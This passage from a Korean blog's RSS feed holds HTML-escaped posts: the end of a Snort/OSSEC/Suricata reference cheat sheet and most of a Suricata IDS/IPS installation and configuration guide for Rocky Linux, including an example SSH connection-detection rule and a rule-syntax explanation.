      &lt;div class=&quot;cmd-title&quot;&gt;Snort 관련 자주 쓰는 명령어&lt;/div&gt;
      &lt;pre&gt;&lt;span class=&quot;comment&quot;&gt;# 설정 파일 문법 검사&lt;/span&gt;
sudo snort -T -c &lt;span class=&quot;cmd-path&quot;&gt;/etc/snort/snort.conf&lt;/span&gt;

&lt;span class=&quot;comment&quot;&gt;# 인터페이스 모니터링 모드 실행&lt;/span&gt;
sudo snort -i enp0s3 -c &lt;span class=&quot;cmd-path&quot;&gt;/etc/snort/snort.conf&lt;/span&gt; -A fast

&lt;span class=&quot;comment&quot;&gt;# pcap 파일 오프라인 분석&lt;/span&gt;
sudo snort -r &lt;span class=&quot;cmd-path&quot;&gt;/tmp/capture.pcap&lt;/span&gt; -c &lt;span class=&quot;cmd-path&quot;&gt;/etc/snort/snort.conf&lt;/span&gt;

&lt;span class=&quot;comment&quot;&gt;# 알림 로그 확인&lt;/span&gt;
sudo tail -f &lt;span class=&quot;cmd-path&quot;&gt;/var/log/snort/alert&lt;/span&gt;

&lt;span class=&quot;comment&quot;&gt;# ─── 자주 헷갈리는 부분 ─────────────────────────
# Snort 3 vs Snort 2 설정 파일 위치가 다름
# Snort 2: /etc/snort/snort.conf
# Snort 3: /etc/snort/snort.lua  ← lua 파일 사용!&lt;/span&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/section&gt;

  &lt;!-- 빠른 참조 카드 --&gt;
  &lt;section&gt;
    &lt;div class=&quot;section-header&quot;&gt;
      &lt;span class=&quot;num&quot;&gt;06&lt;/span&gt;
      &lt;h2&gt;빠른 참조 — 경로 &amp; 포트 치트시트&lt;/h2&gt;
      &lt;span class=&quot;tag tag-concept&quot;&gt;CHEATSHEET&lt;/span&gt;
    &lt;/div&gt;

    &lt;table&gt;
      &lt;tr&gt;&lt;th&gt;항목&lt;/th&gt;&lt;th&gt;경로 / 값&lt;/th&gt;&lt;th&gt;설명&lt;/th&gt;&lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;OSSEC 설정&lt;/td&gt;
        &lt;td&gt;&lt;code&gt;/var/ossec/etc/ossec.conf&lt;/code&gt;&lt;/td&gt;
        &lt;td&gt;서버·에이전트 공통 메인 설정 파일&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;OSSEC 알림 로그&lt;/td&gt;
        &lt;td&gt;&lt;code&gt;/var/ossec/logs/alerts/alerts.log&lt;/code&gt;&lt;/td&gt;
        &lt;td&gt;모든 탐지 이벤트가 기록됨. 운영 중 tail -f 로 모니터링&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;OSSEC 에이전트 키 관리&lt;/td&gt;
        &lt;td&gt;&lt;code&gt;/var/ossec/bin/manage_agents&lt;/code&gt;&lt;/td&gt;
        &lt;td&gt;에이전트 추가(A), 키 추출(E), 키 등록(I)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;OSSEC 포트&lt;/td&gt;
        &lt;td&gt;1514 (UDP/TCP)&lt;/td&gt;
        &lt;td&gt;에이전트 → 서버 통신 포트. 방화벽에서 반드시 열어야 함&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;Suricata 알림&lt;/td&gt;
        &lt;td&gt;&lt;code&gt;/var/log/suricata/fast.log&lt;/code&gt;&lt;/td&gt;
        &lt;td&gt;간단한 한 줄 형식. 빠른 확인에 적합&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;Suricata JSON 로그&lt;/td&gt;
        &lt;td&gt;&lt;code&gt;/var/log/suricata/eve.json&lt;/code&gt;&lt;/td&gt;
        &lt;td&gt;상세 이벤트. ELK Stack 연동 시 이 파일 사용&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;Snort 알림&lt;/td&gt;
        &lt;td&gt;&lt;code&gt;/var/log/snort/alert&lt;/code&gt;&lt;/td&gt;
        &lt;td&gt;Snort 2 기준. Snort 3은 경로 다를 수 있음&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;tcpdump 저장 형식&lt;/td&gt;
        &lt;td&gt;.pcap&lt;/td&gt;
        &lt;td&gt;Wireshark, Suricata, Snort 모두 -r 옵션으로 읽을 수 있음&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/table&gt;
  &lt;/section&gt;

&lt;/main&gt;

&lt;footer&gt;
  last updated 2025 · OSSEC HIDS · CTF · IDS Reference Notes
&lt;/footer&gt;

&lt;/body&gt;
&lt;/html&gt;</description>
      <author>palantirops</author>
      <guid isPermaLink="true">https://palantirops.tistory.com/44</guid>
      <comments>https://palantirops.tistory.com/44#entry44comment</comments>
      <pubDate>Wed, 13 May 2026 17:29:32 +0900</pubDate>
    </item>
    <item>
      <title>[KaliLinux &amp;amp; Rocky9.7] 보안 인프라 구축 실습 정리 | Suricata IDS/IPS 설치 및 설정 가이드</title>
      <link>https://palantirops.tistory.com/43</link>
      <description>&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;ko&quot;&gt;
&lt;head&gt;
&lt;meta charset=&quot;UTF-8&quot;&gt;
&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
&lt;title&gt;Suricata IDS/IPS 설치 및 설정 가이드&lt;/title&gt;
&lt;style&gt;
  body {
    font-family: 'Malgun Gothic', '맑은 고딕', sans-serif;
    font-size: 15px;
    line-height: 1.8;
    color: #222;
    max-width: 860px;
    margin: 0 auto;
    padding: 20px;
    background: #fff;
  }
  h1 {
    font-size: 26px;
    border-bottom: 3px solid #1a73e8;
    padding-bottom: 10px;
    margin-top: 40px;
    color: #111;
  }
  h2 {
    font-size: 20px;
    border-left: 5px solid #1a73e8;
    padding-left: 12px;
    margin-top: 36px;
    color: #1a1a1a;
  }
  h3 {
    font-size: 16px;
    color: #333;
    margin-top: 24px;
    margin-bottom: 6px;
  }
  p {
    margin: 8px 0 14px 0;
  }
  code {
    background: #f0f0f0;
    padding: 2px 6px;
    border-radius: 3px;
    font-family: 'Consolas', 'D2Coding', monospace;
    font-size: 13.5px;
    color: #c0392b;
  }
  pre {
    background: #1e1e1e;
    color: #d4d4d4;
    padding: 16px 20px;
    border-radius: 6px;
    overflow-x: auto;
    font-family: 'Consolas', 'D2Coding', monospace;
    font-size: 13.5px;
    line-height: 1.7;
    margin: 12px 0 20px 0;
    border-left: 4px solid #1a73e8;
  }
  pre .comment { color: #6a9955; }
  pre .cmd { color: #9cdcfe; }
  .tip {
    background: #e8f4fd;
    border-left: 4px solid #1a73e8;
    padding: 12px 16px;
    margin: 16px 0;
    border-radius: 0 4px 4px 0;
    font-size: 14px;
  }
  .warn {
    background: #fff8e1;
    border-left: 4px solid #f9a825;
    padding: 12px 16px;
    margin: 16px 0;
    border-radius: 0 4px 4px 0;
    font-size: 14px;
  }
  .section-num {
    display: inline-block;
    background: #1a73e8;
    color: #fff;
    border-radius: 50%;
    width: 26px;
    height: 26px;
    line-height: 26px;
    text-align: center;
    font-size: 13px;
    font-weight: bold;
    margin-right: 8px;
    vertical-align: middle;
  }
  table {
    width: 100%;
    border-collapse: collapse;
    margin: 16px 0;
    font-size: 14px;
  }
  th {
    background: #1a73e8;
    color: #fff;
    padding: 9px 14px;
    text-align: left;
  }
  td {
    padding: 8px 14px;
    border-bottom: 1px solid #ddd;
  }
  tr:nth-child(even) td { background: #f8f8f8; }
  .toc {
    background: #f5f5f5;
    border: 1px solid #ddd;
    padding: 16px 20px;
    border-radius: 6px;
    margin: 20px 0 30px 0;
    font-size: 14px;
  }
  .toc ul { margin: 6px 0; padding-left: 20px; }
  .toc li { margin: 5px 0; }
  .toc a { color: #1a73e8; text-decoration: none; }
  .toc a:hover { text-decoration: underline; }
  .label {
    display: inline-block;
    background: #1a73e8;
    color: #fff;
    padding: 1px 8px;
    border-radius: 3px;
    font-size: 12px;
    margin-right: 6px;
    font-weight: bold;
    vertical-align: middle;
  }
  .label.green { background: #2e7d32; }
  .label.orange { background: #e65100; }
  hr { border: none; border-top: 1px solid #e0e0e0; margin: 32px 0; }
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt; ️ Suricata IDS/IPS 설치 및 설정 완전 가이드 (Rocky Linux / RHEL 계열)&lt;/h1&gt;

&lt;div class=&quot;toc&quot;&gt;
  &lt;strong&gt;  목차&lt;/strong&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;#intro&quot;&gt;1. Suricata란?&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;#install&quot;&gt;2. 설치&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;#promisc&quot;&gt;3. 프로미스큐어스 모드 설정&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;#config&quot;&gt;4. 설정 파일&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;#rules&quot;&gt;5. 룰(Rule) 업데이트&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;#service&quot;&gt;6. 서비스 시작 및 관리&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;#log&quot;&gt;7. 로그 확인&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;#custom-rule&quot;&gt;8. 커스텀 룰 작성 예시 (SSH 탐지)&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;#rule-syntax&quot;&gt;9. 룰 문법 상세 설명&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;#tips&quot;&gt;10. 트러블슈팅 &amp; 팁&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/div&gt;

&lt;hr&gt;

&lt;!-- 1 --&gt;
&lt;h1 id=&quot;intro&quot;&gt;&lt;span class=&quot;section-num&quot;&gt;1&lt;/span&gt; Suricata란?&lt;/h1&gt;
&lt;p&gt;
  &lt;strong&gt;Suricata&lt;/strong&gt;는 OISF(Open Information Security Foundation)에서 개발한 오픈소스 네트워크 보안 엔진이다.&lt;br&gt;
  IDS(침입 탐지 시스템), IPS(침입 방지 시스템), NSM(네트워크 보안 모니터링) 기능을 모두 제공하며,
  멀티스레드 처리로 고속 트래픽 환경에서도 실시간 분석이 가능하다.
&lt;/p&gt;
&lt;table&gt;
  &lt;tr&gt;&lt;th&gt;모드&lt;/th&gt;&lt;th&gt;설명&lt;/th&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;IDS (탐지)&lt;/td&gt;&lt;td&gt;트래픽을 모니터링하고 알림만 생성, 차단하지 않음&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;IPS (방지)&lt;/td&gt;&lt;td&gt;악성 트래픽을 실시간으로 차단&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;NSM (모니터링)&lt;/td&gt;&lt;td&gt;전체 네트워크 흐름 기록 및 분석&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

&lt;hr&gt;

&lt;!-- 2 --&gt;
&lt;h1 id=&quot;install&quot;&gt;&lt;span class=&quot;section-num&quot;&gt;2&lt;/span&gt; 설치&lt;/h1&gt;

&lt;h2&gt;2-1. EPEL 저장소 추가 및 시스템 업데이트&lt;/h2&gt;
&lt;pre&gt;
&lt;span class=&quot;comment&quot;&gt;# EPEL 저장소 설치 (Extra Packages for Enterprise Linux)&lt;/span&gt;
dnf install -y epel-release

&lt;span class=&quot;comment&quot;&gt;# 시스템 패키지 전체 업데이트&lt;/span&gt;
dnf update -y
&lt;/pre&gt;

&lt;h2&gt;2-2. Suricata 설치&lt;/h2&gt;
&lt;pre&gt;
dnf install -y suricata
&lt;/pre&gt;

&lt;h2&gt;2-3. 설치 버전 확인&lt;/h2&gt;
&lt;pre&gt;
suricata -V
&lt;/pre&gt;
&lt;p&gt;예시 출력: &lt;code&gt;This is Suricata version 7.x.x RELEASE&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;tip&quot;&gt;
    &lt;strong&gt;RPM 락 오류 발생 시&lt;/strong&gt;&lt;br&gt;
  패키지 설치 중 &lt;code&gt;Error: Failed to download metadata for repo&lt;/code&gt; 또는 락 오류가 발생하면 아래 명령어로 해결:
  &lt;pre style=&quot;margin-top:10px;&quot;&gt;sudo rm -f /var/lib/rpm/.rpm.lock&lt;/pre&gt;
&lt;/div&gt;

&lt;hr&gt;

&lt;!-- 3 --&gt;
&lt;h1 id=&quot;promisc&quot;&gt;&lt;span class=&quot;section-num&quot;&gt;3&lt;/span&gt; 프로미스큐어스 모드 (Promiscuous Mode)&lt;/h1&gt;
&lt;p&gt;
  일반적으로 NIC는 자신에게 전달된 패킷만 수신한다.&lt;br&gt;
  &lt;strong&gt;프로미스큐어스 모드&lt;/strong&gt;를 활성화하면 네트워크 상의 &lt;u&gt;모든 패킷을 수신&lt;/u&gt;하여 Suricata가 전체 트래픽을 분석할 수 있다.
&lt;/p&gt;

&lt;h2&gt;활성화 / 비활성화&lt;/h2&gt;
&lt;pre&gt;
&lt;span class=&quot;comment&quot;&gt;# 프로미스큐어스 모드 켜기 (enp0s3 는 본인 NIC 이름으로 변경)&lt;/span&gt;
sudo ifconfig enp0s3 promisc

&lt;span class=&quot;comment&quot;&gt;# 프로미스큐어스 모드 끄기&lt;/span&gt;
sudo ifconfig enp0s3 -promisc

&lt;span class=&quot;comment&quot;&gt;# 현재 NIC 이름 확인&lt;/span&gt;
ip link show
&lt;/pre&gt;

&lt;div class=&quot;warn&quot;&gt;
  ⚠️ &lt;strong&gt;주의:&lt;/strong&gt; 재부팅하면 프로미스큐어스 모드가 해제된다. 영구 적용이 필요하면 &lt;code&gt;/etc/rc.d/rc.local&lt;/code&gt; 또는 systemd 서비스로 등록해야 한다.
&lt;/div&gt;

&lt;hr&gt;

&lt;!-- 4 --&gt;
&lt;h1 id=&quot;config&quot;&gt;&lt;span class=&quot;section-num&quot;&gt;4&lt;/span&gt; 설정 파일&lt;/h1&gt;

&lt;h2&gt;4-1. 메인 설정 파일&lt;/h2&gt;
&lt;pre&gt;
vi /etc/suricata/suricata.yaml
&lt;/pre&gt;
&lt;p&gt;Suricata의 모든 동작을 제어하는 핵심 파일이다. 주요 설정 항목:&lt;/p&gt;
&lt;table&gt;
  &lt;tr&gt;&lt;th&gt;항목&lt;/th&gt;&lt;th&gt;설명&lt;/th&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;HOME_NET&lt;/code&gt;&lt;/td&gt;&lt;td&gt;내부 네트워크 IP 대역 지정 (예: 192.168.0.0/16)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;EXTERNAL_NET&lt;/code&gt;&lt;/td&gt;&lt;td&gt;외부 네트워크 정의 (보통 !$HOME_NET)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;af-packet&lt;/code&gt;&lt;/td&gt;&lt;td&gt;패킷 캡처에 사용할 NIC 인터페이스 지정&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;default-log-dir&lt;/code&gt;&lt;/td&gt;&lt;td&gt;로그 저장 경로 (/var/log/suricata/)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;rule-files&lt;/code&gt;&lt;/td&gt;&lt;td&gt;적용할 룰 파일 목록&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

&lt;h2&gt;4-2. 서비스 옵션 파일&lt;/h2&gt;
&lt;pre&gt;
vi /etc/sysconfig/suricata
&lt;/pre&gt;
&lt;p&gt;systemd로 Suricata를 실행할 때 사용할 인터페이스, 옵션 등을 지정한다.&lt;/p&gt;
&lt;pre&gt;
&lt;span class=&quot;comment&quot;&gt;# 예시: 인터페이스 지정&lt;/span&gt;
OPTIONS=&quot;-i enp0s3&quot;
&lt;/pre&gt;

&lt;hr&gt;

&lt;!-- 5 --&gt;
&lt;h1 id=&quot;rules&quot;&gt;&lt;span class=&quot;section-num&quot;&gt;5&lt;/span&gt; 룰(Rule) 업데이트&lt;/h1&gt;

&lt;h2&gt;5-1. 기본 룰 업데이트&lt;/h2&gt;
&lt;pre&gt;
suricata-update
&lt;/pre&gt;
&lt;p&gt;Suricata 공식 룰셋을 최신 버전으로 다운로드하여 &lt;code&gt;/var/lib/suricata/rules/&lt;/code&gt;에 저장한다.&lt;/p&gt;

&lt;h2&gt;5-2. 룰 소스 목록 확인&lt;/h2&gt;
&lt;pre&gt;
suricata-update list-sources
&lt;/pre&gt;
&lt;p&gt;사용 가능한 서드파티 룰 소스 목록이 출력된다.&lt;/p&gt;

&lt;h2&gt;5-3. ET/Open 룰 활성화&lt;/h2&gt;
&lt;pre&gt;
&lt;span class=&quot;comment&quot;&gt;# Emerging Threats Open 룰셋 활성화 (무료, 추천)&lt;/span&gt;
suricata-update enable-source et/open

&lt;span class=&quot;comment&quot;&gt;# 활성화 후 룰 다시 업데이트&lt;/span&gt;
suricata-update
&lt;/pre&gt;

&lt;h2&gt;5-4. 룰 파일 위치 확인&lt;/h2&gt;
&lt;pre&gt;
ls -al /var/lib/suricata/rules/
&lt;/pre&gt;

&lt;hr&gt;

&lt;!-- 6 --&gt;
&lt;h1 id=&quot;service&quot;&gt;&lt;span class=&quot;section-num&quot;&gt;6&lt;/span&gt; 서비스 시작 및 관리&lt;/h1&gt;
&lt;pre&gt;
&lt;span class=&quot;comment&quot;&gt;# 서비스 활성화 + 즉시 시작&lt;/span&gt;
systemctl enable --now suricata

&lt;span class=&quot;comment&quot;&gt;# 서비스 상태 확인&lt;/span&gt;
systemctl status suricata

&lt;span class=&quot;comment&quot;&gt;# 서비스 재시작 (룰 변경 후 필수)&lt;/span&gt;
systemctl restart suricata
&lt;/pre&gt;

&lt;div class=&quot;tip&quot;&gt;
    커스텀 룰을 추가하거나 &lt;code&gt;suricata.yaml&lt;/code&gt;을 수정한 후에는 반드시 &lt;code&gt;systemctl restart suricata&lt;/code&gt;를 실행해야 변경 사항이 적용된다.
&lt;/div&gt;

&lt;hr&gt;

&lt;!-- 7 --&gt;
&lt;h1 id=&quot;log&quot;&gt;&lt;span class=&quot;section-num&quot;&gt;7&lt;/span&gt; 로그 확인&lt;/h1&gt;

&lt;h2&gt;7-1. 로그 디렉토리&lt;/h2&gt;
&lt;pre&gt;
ls /var/log/suricata/
&lt;/pre&gt;
&lt;table&gt;
  &lt;tr&gt;&lt;th&gt;파일명&lt;/th&gt;&lt;th&gt;설명&lt;/th&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;fast.log&lt;/code&gt;&lt;/td&gt;&lt;td&gt;빠른 알림 로그 (한 줄 요약 형식)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;eve.json&lt;/code&gt;&lt;/td&gt;&lt;td&gt;상세 이벤트 로그 (JSON 형식, 분석용)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;suricata.log&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Suricata 엔진 자체 로그 (오류, 경고)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;stats.log&lt;/code&gt;&lt;/td&gt;&lt;td&gt;통계 정보 (패킷 수, 처리량 등)&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

&lt;h2&gt;7-2. fast.log 실시간 확인&lt;/h2&gt;
&lt;pre&gt;
cat /var/log/suricata/fast.log
tail -f /var/log/suricata/fast.log
&lt;/pre&gt;

&lt;h2&gt;7-3. eve.json 실시간 확인 (jq로 파싱)&lt;/h2&gt;
&lt;pre&gt;
&lt;span class=&quot;comment&quot;&gt;# jq 설치&lt;/span&gt;
dnf install -y jq

&lt;span class=&quot;comment&quot;&gt;# eve.json 실시간 스트림&lt;/span&gt;
tail -f /var/log/suricata/eve.json

&lt;span class=&quot;comment&quot;&gt;# 알림(alert) 이벤트만 필터링&lt;/span&gt;
tail -f /var/log/suricata/eve.json | jq '.alert'
&lt;/pre&gt;

&lt;h2&gt;7-4. 룰 동작 테스트&lt;/h2&gt;
&lt;pre&gt;
&lt;span class=&quot;comment&quot;&gt;# NIDS 테스트 사이트에 요청을 보내 룰이 트리거되는지 확인&lt;/span&gt;
curl http://testmynids.org/uid/index.html
&lt;/pre&gt;
&lt;p&gt;요청 후 &lt;code&gt;fast.log&lt;/code&gt;나 &lt;code&gt;eve.json&lt;/code&gt;에 알림이 기록되면 Suricata가 정상 동작하는 것이다.&lt;/p&gt;

&lt;hr&gt;

&lt;!-- 8 --&gt;
&lt;h1 id=&quot;custom-rule&quot;&gt;&lt;span class=&quot;section-num&quot;&gt;8&lt;/span&gt; 커스텀 룰 작성 예시 — SSH 연결 탐지&lt;/h1&gt;

&lt;h2&gt;8-1. 로컬 룰 파일 편집&lt;/h2&gt;
&lt;pre&gt;
vi /etc/suricata/rules/local.rules
&lt;/pre&gt;

&lt;h2&gt;8-2. SSH 연결 시도 탐지 룰&lt;/h2&gt;
&lt;pre&gt;
alert tcp any any -&gt; any 22 (msg:&quot;SSH Connection Attempt Detected&quot;; flags:S; sid:1000002; rev:1;)
&lt;/pre&gt;

&lt;h2&gt;8-3. 룰 분해 설명&lt;/h2&gt;
&lt;table&gt;
  &lt;tr&gt;&lt;th&gt;구성 요소&lt;/th&gt;&lt;th&gt;값&lt;/th&gt;&lt;th&gt;설명&lt;/th&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;액션 (Action)&lt;/td&gt;&lt;td&gt;&lt;code&gt;alert&lt;/code&gt;&lt;/td&gt;&lt;td&gt;조건 충족 시 알림 생성 (차단은 &lt;code&gt;drop&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;프로토콜&lt;/td&gt;&lt;td&gt;&lt;code&gt;tcp&lt;/code&gt;&lt;/td&gt;&lt;td&gt;TCP 트래픽 대상&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;출발지 IP&lt;/td&gt;&lt;td&gt;&lt;code&gt;any&lt;/code&gt;&lt;/td&gt;&lt;td&gt;모든 출발지 IP&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;출발지 포트&lt;/td&gt;&lt;td&gt;&lt;code&gt;any&lt;/code&gt;&lt;/td&gt;&lt;td&gt;모든 출발지 포트&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;방향&lt;/td&gt;&lt;td&gt;&lt;code&gt;-&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;단방향 (출발 → 목적지)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;목적지 IP&lt;/td&gt;&lt;td&gt;&lt;code&gt;any&lt;/code&gt;&lt;/td&gt;&lt;td&gt;모든 목적지 IP&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;목적지 포트&lt;/td&gt;&lt;td&gt;&lt;code&gt;22&lt;/code&gt;&lt;/td&gt;&lt;td&gt;SSH 포트&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;msg&lt;/td&gt;&lt;td&gt;&quot;SSH Connection Attempt Detected&quot;&lt;/td&gt;&lt;td&gt;로그에 기록될 메시지&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;flags&lt;/td&gt;&lt;td&gt;&lt;code&gt;S&lt;/code&gt;&lt;/td&gt;&lt;td&gt;TCP SYN 플래그 (연결 시도 패킷)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;sid&lt;/td&gt;&lt;td&gt;&lt;code&gt;1000002&lt;/code&gt;&lt;/td&gt;&lt;td&gt;룰 고유 ID (1000000 이상은 커스텀용)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;rev&lt;/td&gt;&lt;td&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td&gt;룰 버전 (수정 시 증가)&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

&lt;div class=&quot;tip&quot;&gt;
    &lt;strong&gt;테스트 방법:&lt;/strong&gt; Windows에서 PuTTY로 SSH 접속을 시도하면 해당 룰이 발동되어 &lt;code&gt;fast.log&lt;/code&gt;에 기록된다.&lt;br&gt;
  &lt;code&gt;tail -f /var/log/suricata/fast.log&lt;/code&gt;로 실시간 확인 가능.
&lt;/div&gt;

&lt;h2&gt;8-4. 적용 방법&lt;/h2&gt;
&lt;pre&gt;
&lt;span class=&quot;comment&quot;&gt;# 1. local.rules가 suricata.yaml의 rule-files에 등록되어 있는지 확인&lt;/span&gt;
grep &quot;local.rules&quot; /etc/suricata/suricata.yaml

&lt;span class=&quot;comment&quot;&gt;# 2. 없으면 suricata.yaml에 아래 항목 추가&lt;/span&gt;
&lt;span class=&quot;comment&quot;&gt;#  rule-files:&lt;/span&gt;
&lt;span class=&quot;comment&quot;&gt;#    - /etc/suricata/rules/local.rules&lt;/span&gt;

&lt;span class=&quot;comment&quot;&gt;# 3. Suricata 재시작&lt;/span&gt;
systemctl restart suricata
&lt;/pre&gt;

&lt;hr&gt;

&lt;!-- 9 --&gt;
&lt;h1 id=&quot;rule-syntax&quot;&gt;&lt;span class=&quot;section-num&quot;&gt;9&lt;/span&gt; 룰 문법 상세 설명&lt;/h1&gt;

&lt;h2&gt;기본 구조&lt;/h2&gt;
&lt;pre&gt;
액션 프로토콜 출발지IP 출발지포트 방향 목적지IP 목적지포트 (옵션들;)
&lt;/pre&gt;

&lt;h2&gt;주요 액션&lt;/h2&gt;
&lt;table&gt;
  &lt;tr&gt;&lt;th&gt;액션&lt;/th&gt;&lt;th&gt;설명&lt;/th&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;alert&lt;/code&gt;&lt;/td&gt;&lt;td&gt;알림만 생성 (IDS 모드)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;drop&lt;/code&gt;&lt;/td&gt;&lt;td&gt;패킷 차단 + 알림 (IPS 모드)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;pass&lt;/code&gt;&lt;/td&gt;&lt;td&gt;해당 트래픽 무시&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;reject&lt;/code&gt;&lt;/td&gt;&lt;td&gt;차단 + TCP RST 또는 ICMP 응답 전송&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

&lt;h2&gt;주요 옵션&lt;/h2&gt;
&lt;table&gt;
  &lt;tr&gt;&lt;th&gt;옵션&lt;/th&gt;&lt;th&gt;설명&lt;/th&gt;&lt;th&gt;예시&lt;/th&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;msg&lt;/code&gt;&lt;/td&gt;&lt;td&gt;알림 메시지&lt;/td&gt;&lt;td&gt;&lt;code&gt;msg:&quot;HTTP attack&quot;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;content&lt;/code&gt;&lt;/td&gt;&lt;td&gt;페이로드 문자열 매칭&lt;/td&gt;&lt;td&gt;&lt;code&gt;content:&quot;GET&quot;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;pcre&lt;/code&gt;&lt;/td&gt;&lt;td&gt;정규식 매칭&lt;/td&gt;&lt;td&gt;&lt;code&gt;pcre:&quot;/admin/i&quot;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;flags&lt;/code&gt;&lt;/td&gt;&lt;td&gt;TCP 플래그 (S, A, F, R, P 등)&lt;/td&gt;&lt;td&gt;&lt;code&gt;flags:S;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;threshold&lt;/code&gt;&lt;/td&gt;&lt;td&gt;반복 횟수 기반 임계값 설정&lt;/td&gt;&lt;td&gt;—&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;sid&lt;/code&gt;&lt;/td&gt;&lt;td&gt;룰 고유 ID (필수)&lt;/td&gt;&lt;td&gt;&lt;code&gt;sid:1000001;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;rev&lt;/code&gt;&lt;/td&gt;&lt;td&gt;룰 개정 버전 (필수)&lt;/td&gt;&lt;td&gt;&lt;code&gt;rev:1;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;&lt;code&gt;classtype&lt;/code&gt;&lt;/td&gt;&lt;td&gt;공격 분류&lt;/td&gt;&lt;td&gt;&lt;code&gt;classtype:trojan-activity;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

&lt;h2&gt;방향 연산자&lt;/h2&gt;
&lt;table&gt;
  &lt;tr&gt;&lt;th&gt;연산자&lt;/th&gt;&lt;th&gt;의미&lt;/th&gt;&lt;/tr&gt;
